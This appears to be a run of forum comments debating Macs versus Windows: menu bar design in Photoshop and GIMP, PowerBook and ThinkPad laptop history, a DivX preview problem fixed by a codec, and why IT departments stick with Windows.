That wouldn't fix the problem that started this thread, which is the preview pane interrupting the whole finder when divx file is highlighted. If you install the 3ivx codec, that problem goes away.
For actual playback, mplayer is certainly much better.
Totally unsupported claims were made regarding
1)The preponderance of Macs in academia vs. the business world.
2)The greater computing needs in academia vs. the business world.
In general, I don't see any reason to quibble with those claims. My users, even the developers, run one or two specific applications all the time. They don't use the vast range of software available for the PC, they use the PC as a dedicated machine that does a couple of things over and over again. Whether that thing is email or Visual Studio is quibbling.
Unless your talking about a home machine used for work, desktop boxes in the university are chosen by and paid for by the university and are usually Windows or Nix machines.
Macs are "Nix machines".
The attached menu bar just doesn't work for some applications. Photoshop is one, and Photoshop on Windows shows the mess that results.
On windows if you'd like to put a photoshop window on one screen and another photoshop window on another screen, you have to stretch out that damned enclosing window. It covers up everything behind it. If one picture is much taller than the other, that's a lot of wasted space. It also means resizing the bounding box all the time. Insane.
On the other hand, you can't attach a menubar to each picture window. The space taken up would be huge, many pictures wouldn't be wide enough to show the whole menu bar...
The amount of border resizing I have to do for various reasons on Windows photoshop drives me buggy. It's detestable.
All this is why Gimp has a floating menu bar. It just *must* be detached in that kind of app.. The floating menu bar remains pretty awkward, though. Even given what you're saying about muscle memory not working entirely on the Mac bar because it shifts about, at least you know it's flush with the top of the screen. Toss the mouse upward, then start hunting.
Many of the key macintosh apps were of this kind for many years. The documents need as much screen space as they can possibly get, so a bar on each document isn't reasonable. Higher res screens won't help because there's a limit on how small you can make the bar. As long as those apps remain the core of Mac use, the top menu bar is going to stay, even if it isn't the best general purpose computing solution.
Would a PostScript interpreter be considered prepress software, then?
Yes. And we make heavy use of ghostscript, gsview, and epstool whereever we can. It's far from everything we need in prepress software though.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
I see this debate often, and it's always done badly. Usually goes something like this: ------ Poster 1: *something something* laptop *something something* Poster 2: The PowerBook was the first modern laptop. All laptops today are descended from the PowerBook. Poster 3: No, not the PowerBook, the ThinkPad ------ Firstly, there were lots of okay laptops before the PowerBook, with the standard flip-up screen and keyboard. The PowerBook made a few contributions to modern laptop design: A. Dark gray/black colored case (still very popular, despite the growth in silver-colored cases after the Titanium PowerBook.) B. Integrated pointing device (trackball) as opposed to clip-ons. C. Large palmrests on either side of said pointing device, with the keyboard pushed back toward the screen Fairly minor changes if you ask me, but influential nonetheless. The ThinkPad came out in 1992, a year after the PowerBook, and it had A and B. It didn't get C until about 1996. The ThinkPad added a color screen, which the PowerBook wouldn't offer until a year later. Both were (and are) very fashionable laptops, and both contrubuted elements to the shape and feel of the modern laptop, but neither the PowerBook nor the ThinkPad is the sole source of modern laptop design.
The Panasonic Toughbook beats any Apple notebook - half the weight and double the price :)
In Soviet America the banks rob you!
Being in IT, I'll tell you that I have my doubts that it's much of a conspiracy (though it may be in some companies). Most of the time, the biggest reason why IT managers are hesitant to use Macs is that they aren't familiar with them. Most IT pros I've known have been using/fixing Windows for years, but have barely touched a Macintosh since the late 80's. There are armies of MCSEs, but not really a lot of Mac techs (outside of areas which specialize in media/design). Basically, it's an issue of going with the devil you know rather than the devil you don't.
In addition to that, it's the fact that there's already an existing Windows infrastructure in their business, and in IT, uniformity=easy. IT managers want all their computers to be identical hardware running identical images, if possible. Throwing a few Macs into the mix has the appearance of an oncoming headache. The fact of an implied cost of all-new software doesn't help, and if they have any home-grown or custom-build software, it will have to be re-created.
So, I guess what I'm getting at is that much of the Microsoft dominance in the business world is the result of inertia as much as anything.